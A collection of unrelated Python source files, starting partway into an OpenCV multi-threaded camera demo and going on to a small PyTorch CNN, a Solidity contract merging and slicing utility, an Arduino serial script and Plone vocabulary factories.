        fps             = (self._count - self._oldCount) / (diffTime / 1000.0)
        self._oldCount  = self._count
        self._count     += 1
        fpsRounded      = round(fps, 2)
        return fpsRounded

def view_image(cn_r,cn_s):
    print("image init")

    view_width  = 480
    view_height = 270

    blue_img = np.zeros((135,240,3), np.uint8)
    cv2.rectangle(blue_img,(0,0),(240,135),(255,0,0),cv2.cv.CV_FILLED)
    cv2.putText(blue_img, "No Data !", (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))

    print("image start")

    fps_class = fpsWithTick()
    while True:
        if not cn_r.empty():
            image  = cn_r.get()
            if image is None:
                print("image None")
                break
            thresh = cn_r.get()
            canny  = cn_r.get()

            #print("image run")

            view = (int(time.time())//2) % 6
            if view == 0:
                view_img   = cv2.resize(image, (view_width, view_height))
                cv2.putText(view_img, "IMAGE", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            elif view == 1:
                view_img   = cv2.resize(thresh, (view_width, view_height))
                cv2.putText(view_img, "THRESH", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            elif view == 2:
                view_img   = cv2.resize(image, (view_width, view_height))
                cv2.putText(view_img, "IMAGE", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            elif view == 3:
                view_img   = cv2.resize(canny, (view_width, view_height))
                cv2.putText(view_img, "CANNY", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            elif view == 4:
                view_img   = cv2.resize(image, (view_width, view_height))
                cv2.putText(view_img, "IMAGE", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            elif view == 5:
                view_img   = cv2.resize(canny, (view_width, view_height))
                view_over  = cv2.resize(thresh, (view_width, view_height))
                view_img   = cv2.bitwise_or(view_img, view_over)
                cv2.putText(view_img, "ALL", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))

            str_fps = str(fps_class.get())
            cv2.putText(view_img, str_fps, (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 2, (0,0,255))
            cn_s.put( view_img.copy() )

        time.sleep(0.1)

    print("image end")

def view_thresh(cn_r,cn_s):
    print("thresh init")

    proc_width  = 480
    proc_height = 270
    view_width  = 240
    view_height = 135

    blue_img = np.zeros((135,240,3), np.uint8)
    cv2.rectangle(blue_img,(0,0),(240,135),(255,0,0),cv2.cv.CV_FILLED)
    cv2.putText(blue_img, "No Data !", (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))

    print("thresh start")

    fps_class = fpsWithTick()
    while True:
        if not cn_r.empty():
            image  = cn_r.get()
            if image is None:
                print("thresh None")
                break

            #print("thresh run")

            image2_img  = image.copy()
            #image2_hsv  = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
            #image2_chan = cv2.split(image2_hsv)
            #image2_chan[2] = cv2.equalizeHist(image2_chan[2])
            #image2_hsv  = cv2.merge(image2_chan)
            #image2_img  = cv2.cvtColor(image2_hsv, cv2.COLOR_HSV2BGR)

            gray   = cv2.cvtColor(image2_img, cv2.COLOR_BGR2GRAY)
            proc_gray   = cv2.resize(gray, (proc_width, proc_height))
            proc_gray   = cv2.equalizeHist(proc_gray)
            proc_thresh = cv2.blur(proc_gray, (5,5), 0)
            _, proc_thresh = cv2.threshold(proc_thresh, 112, 255, cv2.THRESH_BINARY)
            proc_thresh = cv2.bitwise_not(proc_thresh)

            proc_mask   = cv2.cvtColor(proc_thresh, cv2.COLOR_GRAY2RGB)
            proc_img    = cv2.resize(image2_img, (proc_width, proc_height))
            proc_img    = cv2.bitwise_and(proc_img, proc_mask)

            cnts0 = cv2.findContours(proc_thresh, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[0]
            cnts0.sort(key=cv2.contourArea, reverse=True)
            cnts1 = [cnt for cnt in cnts0 if cv2.contourArea(cnt) > 500]
            for i, c in enumerate(cnts1):
                cv2.drawContours(proc_img, [c], -1, (255, 0, 0), 2)

                al = cv2.arcLength(c, True) * 0.01
                c2 = cv2.approxPolyDP(c, al, True)
                cv2.drawContours(proc_img, [c2], -1, (0, 255, 0), 2)

                arc_area = cv2.contourArea(c2)
                x,y,w,h  = cv2.boundingRect(c2)
                hit_area = w * h
                if (arc_area/hit_area) > 0.8:
                    cv2.rectangle(proc_img, (x,y), (x+w,y+h), (0,0,255), 2)

            view_img   = cv2.resize(proc_img, (view_width, view_height))
            cv2.putText(view_img, "THRESH", (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            str_fps = str(fps_class.get())
            cv2.putText(view_img, str_fps, (40,45), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))
            cn_s.put( view_img.copy() )

            thresh = cv2.resize(proc_img, (480, 270))
            cn_s.put( thresh.copy() )

        time.sleep(0.1)

    print("thresh end")

def view_canny(cn_r,cn_s):
    print("canny init")

    proc_width  = 480
    proc_height = 270
    view_width  = 240
    view_height = 135

    blue_img = np.zeros((135,240,3), np.uint8)
    cv2.rectangle(blue_img,(0,0),(240,135),(255,0,0),cv2.cv.CV_FILLED)
    cv2.putText(blue_img, "No Data !", (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))

    print("canny start")

    fps_class = fpsWithTick()
    while True:
        if not cn_r.empty():
            image  = cn_r.get()
            if image is None:
                print("canny None")
                break

            #print("canny run")

            image2_img  = image.copy()
            #image2_hsv  = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
            #image2_chan = cv2.split(image2_hsv)
            #image2_chan[2] = cv2.equalizeHist(image2_chan[2])
            #image2_hsv  = cv2.merge(image2_chan)
            #image2_img  = cv2.cvtColor(image2_hsv, cv2.COLOR_HSV2BGR)

            gray   = cv2.cvtColor(image2_img, cv2.COLOR_BGR2GRAY)
            proc_gray  = cv2.resize(gray, (proc_width, proc_height))
            proc_gray  = cv2.equalizeHist(proc_gray)
            proc_gray  = cv2.blur(proc_gray, (5,5), 0)
            #_, proc_thresh = cv2.threshold(proc_gray, 128, 255, cv2.THRESH_BINARY)
            #proc_thresh = cv2.bitwise_not(proc_thresh)
            #proc_canny = cv2.Canny(proc_thresh, threshold1=80, threshold2=110)
            proc_canny = cv2.Canny(proc_gray, threshold1=80, threshold2=110)

            proc_over  = cv2.cvtColor(proc_canny, cv2.COLOR_GRAY2BGR)
            proc_img   = cv2.resize(image2_img,(proc_width, proc_height))
            proc_img   = cv2.bitwise_or(proc_img, proc_over)

            lines = cv2.HoughLines(proc_canny, 1.1, np.pi/180, 150)
            if lines is not None:
                for rho,theta in lines[0]:
                    a=np.cos(theta)
                    b=np.sin(theta)
                    x0 = a * rho
                    y0 = b * rho
                    x1 = int(x0 + 1000 * (-b))
                    y1 = int(y0 + 1000 * (a))
                    x2 = int(x0 - 1000 * (-b))
                    y2 = int(y0 - 1000 * (a))
                    cv2.line(proc_img, (x1, y1), (x2, y2), (255,0,0), 1)

            lines = cv2.HoughLinesP(proc_canny, 3, np.pi/180, 10, 50, 50)
            if lines is not None:
                for (x1, y1, x2, y2) in lines[0]:
                    cv2.line(proc_img, (x1, y1), (x2, y2), (0,255,0), 2)

            circles = cv2.HoughCircles(proc_canny, cv2.cv.CV_HOUGH_GRADIENT, dp=1.5, minDist=80, minRadius=10, maxRadius=80)
            if circles is not None:
                circles = np.uint16(np.around(circles))
                for (x, y, r) in circles[0,:]:
                    cv2.circle(proc_img, (x, y), r, (0,0,255), 2)

            view_img   = cv2.resize(proc_img, (view_width, view_height))
            cv2.putText(view_img, "CANNY",  (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            str_fps = str(fps_class.get())
            cv2.putText(view_img, str_fps, (40,45), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))
            cn_s.put( view_img.copy() )

            canny = cv2.resize(proc_img, (480, 270))
            cn_s.put( canny.copy() )

        time.sleep(0.1)

    print("canny end")

if __name__ == '__main__':
    print("main init")

    dev = "0"
    cas = "face.xml"
    if len(sys.argv)==2 and sys.argv[1].isdigit():
        dev = sys.argv[1]
    elif len(sys.argv)==2:
        cas = sys.argv[1]
    elif len(sys.argv)==3 and sys.argv[2].isdigit():
        cas = sys.argv[1]
        dev = sys.argv[2]
    elif len(sys.argv)==3 and sys.argv[1].isdigit():
        cas = sys.argv[2]
        dev = sys.argv[1]
    elif len(sys.argv)==3:
        cas = sys.argv[1]
        dev = sys.argv[2]

    live_width     = 240
    live_height    = 135
    image_width    = 480
    image_height   = 270

    blue_img = np.zeros((live_height,live_width,3), np.uint8)
    cv2.rectangle(blue_img,(0,0),(live_width,live_height),(255,0,0),cv2.cv.CV_FILLED)
    cv2.putText(blue_img, "No Data !", (40,80), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))
    image_img    = cv2.resize(blue_img, (image_width, image_height))
    image_thresh = image_img.copy()
    image_canny  = image_img.copy()

    cv2.namedWindow("Live",   1)
    cv2.imshow(     "Live",   blue_img)
    cv2.moveWindow( "Live",   0,   25)
    cv2.namedWindow("Thresh", 1)
    cv2.imshow(     "Thresh", blue_img)
    cv2.moveWindow( "Thresh", 0,  185)
    cv2.namedWindow("Canny",  1)
    cv2.imshow(     "Canny",  blue_img)
    cv2.moveWindow( "Canny",  0,  345)

    cv2.namedWindow("Image",  1)
    cv2.imshow(     "Image",  image_img)
    cv2.moveWindow( "Image",  240, 25)

    capture = None
    if dev.isdigit():
        capture = cv2.VideoCapture(int(dev))
        capture.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH,  640)
        capture.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, 480)
        capture.set(cv2.cv.CV_CAP_PROP_FPS, 15)
    else:
        capture = cv2.VideoCapture(dev)

    print("main start")

    image_proc  = None
    thresh_proc = None
    canny_proc  = None
    fps_class = fpsWithTick()
    while True:
        ret, frame = capture.read()
        if not ret:
            cv2.imshow("Live", blue_img )
            print("capture error")
            time.sleep(10.0)
            break

        else:

            #print("main run")

            frame_height, frame_width = frame.shape[:2]
            frame_height2 = frame_width * image_height / image_width
            if frame_height2 == frame_height:
                image_img = cv2.resize(frame, (image_width, image_height))
            else:
                h=(frame_height-frame_height2) / 2
                image_img  = cv2.resize(frame[h:h+frame_height2, 0:frame_width], (image_width, image_height))
            live_img = cv2.resize(image_img, (live_width, live_height))

            str_src = str(frame_width) + "x" + str(frame_height)
            str_fps = str(fps_class.get())
            cv2.putText(live_img, str_src, (40,30), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (255,0,255))
            cv2.putText(live_img, str_fps, (40,45), cv2.FONT_HERSHEY_COMPLEX_SMALL, 1, (0,0,255))
            #cv2.imshow("Live", live_img)

            if image_proc is None:
                image_s = Queue()
                image_r = Queue()
                image_proc = threading.Thread(target=view_image, args=(image_s,image_r,))
                image_proc.daemon = True
                image_beat = time.time()
                image_s.put( image_img.copy() )
                image_s.put( image_thresh.copy() )
                image_s.put( image_canny.copy() )
                image_proc.start()
            if image_r.empty():
                cv2.line(live_img, (0, 1), (0+79, 1), (0,0,255), 3)
            else:
                cv2.line(live_img, (0, 1), (0+79, 1), (255,0,0), 3)
                image_beat = time.time()
                img=image_r.get()
                cv2.imshow("Image", img )
                image_s.put( image_img.copy() )
                image_s.put( image_thresh.copy() )
                image_s.put( image_canny.copy() )
            if (time.time() - image_beat) > 10:
                print("image 10s")
                break

            if thresh_proc is None:
                thresh_s = Queue()
                thresh_r = Queue()
                thresh_proc = threading.Thread(target=view_thresh, args=(thresh_s,thresh_r,))
                thresh_proc.daemon = True
                thresh_beat = time.time()
                thresh_s.put( image_img.copy() )
                thresh_proc.start()
            if thresh_r.empty():
                cv2.line(live_img, (80, 1), (80+79, 1), (0,0,255), 3)
            else:
                cv2.line(live_img, (80, 1), (80+79, 1), (255,0,0), 3)
                thresh_beat = time.time()
                img = thresh_r.get()
                cv2.imshow("Thresh", img )
                image_thresh = thresh_r.get()
                thresh_s.put( image_img.copy() )
            if (time.time() - thresh_beat) > 10:
                print("thresh 10s")
                break

            if canny_proc is None:
                canny_s = Queue()
                canny_r = Queue()
                canny_proc = threading.Thread(target=view_canny, args=(canny_s,canny_r,))
                canny_proc.daemon = True
                canny_beat = time.time()
                canny_s.put( image_img.copy() )
                canny_proc.start()
            if canny_r.empty():
                cv2.line(live_img, (160, 1), (160+79, 1), (0,0,255), 3)
            else:
                cv2.line(live_img, (160, 1), (160+79, 1), (255,0,0), 3)
                canny_beat = time.time()
                img = canny_r.get()
                cv2.imshow("Canny", img )
                image_canny = canny_r.get()
                canny_s.put( image_img.copy() )
            if (time.time() - canny_beat) > 10:
                print("canny 10s")
                break

            cv2.imshow("Live", live_img )

        if cv2.waitKey(10) >= 0:
            break

        time.sleep(0.01)

    print("main terminate")

    if image_proc is not None:
        image_s.put(None)
        thresh_s.put(None)
        canny_s.put(None)
        time.sleep(3)
        image_s.close()
        image_r.close()
        thresh_s.close()
        thresh_r.close()
        canny_s.close()
        canny_r.close()

    capture.release()
    cv2.destroyAllWindows()

    print("main Bye!")


# Hackos : 50
from collections import OrderedDict

n = int(input())
ordereddict = OrderedDict()
for i in range (n):
    name = input()
    if name not in ordereddict.keys():
        ordereddict[name] = 1
    else :
        ordereddict[name] += 1

print(len(ordereddict))
for v in ordereddict.values():
    print (v, end = ' ')


import torch.nn as nn

class ModelCNN(nn.Module):
    def __init__(self, in_channel = 1):
        super(ModelCNN, self).__init__()

        self.in_dim = 28 * 28 * 3
        self.out_dim = 10
        self.keep_prob = 0.5

        c1 = 6
        c2 = 16
        c3 = 64

        self.layer1 = 0
        if in_channel == 3:
            self.layer1 = nn.Sequential(
                nn.Conv2d(in_channels=in_channel, out_channels= c1, kernel_size=3, stride=1, padding=1), # 28 * 28 * 6
                nn.BatchNorm2d(c1),
                nn.ReLU(),
                nn.MaxPool2d(kernel_size=2, stride=2) # 14 * 14 * 6
                )
        else:
            self.layer1 = nn.Sequential(
                nn.Conv2d(in_channels=in_channel, out_channels= c1, kernel_size=3, stride=1, padding=1), # 28 * 28 * 6
                nn.BatchNorm2d(c1),
                nn.ReLU(),
                nn.MaxPool2d(kernel_size=2, stride=2) # 14 * 14 * 6
                )

        self.layer2 = nn.Sequential(
            nn.Conv2d(in_channels=c1, out_channels= c2, kernel_size=3, stride=1), # 12 * 12 * 16
            nn.BatchNorm2d(c2),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2) # 6 * 6 * 16
            )

        self.layer3 = nn.Sequential(
            nn.Conv2d(in_channels=c2, out_channels= c3, kernel_size=3, stride=1), # 4 * 4 * 64
            nn.BatchNorm2d(c3),
            nn.ReLU(),
            nn.MaxPool2d(kernel_size=2, stride=2) # 2 * 2 * 64
            )

        self.fc4 = nn.Linear(2 * 2 * 64, 120, bias=True)
        nn.init.xavier_uniform_(self.fc4.weight)
        self.layer4 = nn.Sequential(
            self.fc4,
            nn.ReLU()
            ,nn.Dropout(p = 1 - self.keep_prob)
        )

        self.fc5 = nn.Linear(120, 80, bias=True)
        nn.init.xavier_uniform_(self.fc5.weight)
        self.layer5 = nn.Sequential(
            self.fc5,
            nn.ReLU()
            ,nn.Dropout(p = 1 - self.keep_prob)
        )

        self.fc6 = nn.Linear(80, self.out_dim, bias=True)
        nn.init.xavier_uniform_(self.fc6.weight)

    def forward(self, x):
        out = self.layer1(x)
        out = self.layer2(out)
        out = self.layer3(out)
        out = out.view(out.size(0), -1)

        out = self.layer4(out)
        out = self.layer5(out)

        out = self.fc6(out)
        return out


import os
import sys
import copy
import re
from collections import deque
import operator

from utils.modify import Modify
from utils.infos import Infos
from utils.varCheck import VarCheck
from utils.replace import Replace
from utils.slicing import Slicing

class Merge:

	def mergeReduce(self, filename, fileContent, argvs):
	    if argvs:
	        customTag = argvs.split(',')
	    else:
	        customTag = []
	    modifyF = Modify()

	    fileContent = modifyF.deleteEmit(fileContent)
	    fileContent = modifyF.deleteMulDiv(fileContent)

	    # STEP 1 Merge
	    getInfo = Infos()
	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    #print(mainContract)
	    isAbnormal = False
	    if mainContract == "NULLNULLNULL":
	    	isAbnormal = True
	    if isAbnormal:
	    	return isAbnormal, False

	    contractGraph = {}
	    for item in contractList:
	        contractGraph[item['contract']] = item['inherit']

	    searchPath = getInfo.inheritChain(contractList, contractGraph)

	    fileContent = modifyF.replaceSuper(searchPath, contractFunctionDict, fileContent)

	    modSearchOrder, functionSearchOrder = getInfo.subChain(modDict, contractFunctionDict, searchPath)
	    fileContent = modifyF.eventList(fileContent, searchPath, contractDict)

	    #update dict info due to delete of event statement
	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    fileContent = modifyF.moveConstructFunc(contractFunctionDict, mainContract, fileContent)

	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    statementDict, contractGlobalVar = getInfo.varStatement(contractList, contractDict, modDict, contractFunctionDict, contractConstructorDict, fileContent)

	    isHighRisk = False
	    checkVar = VarCheck()
	    isHighRisk = checkVar.check(contractDict, contractFunctionDict, statementDict, searchPath, fileContent)
	    if isHighRisk:
	    	return isAbnormal, isHighRisk

	    fileContent = modifyF.EPluribusUnum(modSearchOrder, functionSearchOrder, contractList, contractDict, modDict, contractFunctionDict, mainContract, contractConstructorDict, statementDict, searchPath, fileContent)

	    #delete constructor
	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    fileContent = modifyF.delConstructor(fileContent, contractConstructorDict, mainContract)

	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    contractElemLibDict = getInfo.libBindingDict(fileContent, libDict, libFunctionDict, contractDict)

	    replaceF = Replace()
	    fileContent = replaceF.functionReplace(contractDict, fileContent, modSearchOrder, modDict, contractFunctionDict, searchPath, contractElemLibDict, libFunctionDict)

	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    fileContent, saveList = modifyF.saveRelContract(mainContract, contractDict, fileContent)

	    contractList, contractDict, libDict, libFunctionDict, mainContract, modDict, contractFunctionDict, contractConstructorDict = getInfo.findAllContracts(fileContent)
	    # STEP 2 Slicing
	    Slicer = Slicing()
	    reservedList = Slicer.reserve(fileContent, mainContract, contractDict, contractList, contractFunctionDict, customTag, saveList)

	    #step 4

	    newFile = "merged_" + filename
	    op = open(newFile, "w+")

	    # Write
	    op.write(str(contractList.index(mainContract)) + "\n")
	    op.write(mainContract['contract']+"\n")

	    for i in reservedList:
	        if i['line'].strip():
	            op.write(i['line'])

	    #for i in fileContent:
	    #    op.write(i)

	    #Close files
	    op.close()

	    return False, False


#!/usr/bin/env python
# -*- coding: utf-8 -*-

# Written by Gregory Norton
# July 28 2018

import argparse
import os
import serial
import sys

from options import process

if sys.version_info[0] >= 3:
    raw_input = input

#port_name = '/dev/ttyACM0'  # Arduino Mega 2560 and leonardo
#port_name = '/dev/ttyUSB0'  # Arduino Uno R3

def main(args):
    parser = argparse.ArgumentParser(description='Load bytes into computer memory')
    parser.add_argument('script', nargs='?', help='The script file to execute')
    parser.add_argument('-port', '-p', nargs=1, default='/dev/ttyACM0', help='The serial port to send commands to')
    #parser.print_help()

    args = parser.parse_args()
    #print args

    port = serial.Serial(args.port)
    port.read(size=1)
    #port.write(chr(0xFF))
    #print(ord(port.read(size=1)))
    #if args.script != None and not os.path.isfile(args.script):

    #lineno = 0

    if args.script == None:
        while True:
            try:
                command = raw_input('? ').strip()
            except EOFError:
                break
            if process(command, port) == -1:
                break;
    else:
        if not file_exists(args.script):
            print('Script does not exist')
            port.close()
            return 1
        with open(args.script) as f:
            for command in f:
                if process(command.strip(), port) == -1:
                    break;
    port.close()
    return 0

if __name__ == '__main__':
    import sys
    sys.exit(main(sys.argv))


# -*- coding: utf-8 -*-
__author__ = 'Paul'

from zope.interface import implements,Interface
from zope.schema.interfaces import IContextSourceBinder
from zope.schema.interfaces import IVocabularyFactory
from zope.schema.vocabulary import SimpleVocabulary,SimpleTerm
from Products.CMFCore.utils import getToolByName
#from arcas.content.coleccion import IColeccion
from zope.site.hooks import getSite

class IListaColecciones(Interface):
    """Marca para la utilidad """

class ColecAsignadasVocab(object):
    implements(IVocabularyFactory)
    def __init__(self):
        pass

    def __call__(self,context):
        contexto=getSite()
        catalogo= getToolByName(contexto, 'portal_catalog')
        #results=catalogo.unrestrictedSearchResults({'object_provides': IColeccion.__identifier__,'review_state':('SetUp','Publicado')})
        results=catalogo.unrestrictedSearchResults({'portal_types': "arcas.coleccion",'review_state':('SetUp','Publicado')})
        terms = []
        autenti=getSite().portal_membership.getAuthenticatedMember().id

        if len(results)>0:
            for colec in results:
                terms.append(SimpleVocabulary.createTerm(colec.id, str(colec.id), colec.Title))

        if len(terms)==0:
            terms.append(SimpleVocabulary.createTerm("", "", ""))

        return SimpleVocabulary(terms)

class ListaColecciones(object):
    """
    Devuelve un listado con las colecciones activas
    """
    implements(IVocabularyFactory)
    def __init__(self):
        pass

    def __call__(self,context):
        contexto=getSite()
        catalogo= getToolByName(contexto, 'portal_catalog')
        #results=catalogo.unrestrictedSearchResults({'object_provides': IColeccion.__identifier__,'review_state':('SetUp','Publicado')})
        results=catalogo.unrestrictedSearchResults({'portal_types': "arcas.coleccion",'review_state':('SetUp','Publicado')})
        terms = []
        autenti=getSite().portal_membership.getAuthenticatedMember().id

        if len(results)>0:
            for colec in results:
                terms.append(SimpleVocabulary.createTerm(colec.id, str(colec.id), colec.Title))
        else:
            terms.append(SimpleVocabulary.createTerm("", "", ""))

        return SimpleVocabulary(terms)

ColecAsignadaVocabFactory=ColecAsignadasVocab()
ColeccionesVocabFactory = ListaColecciones()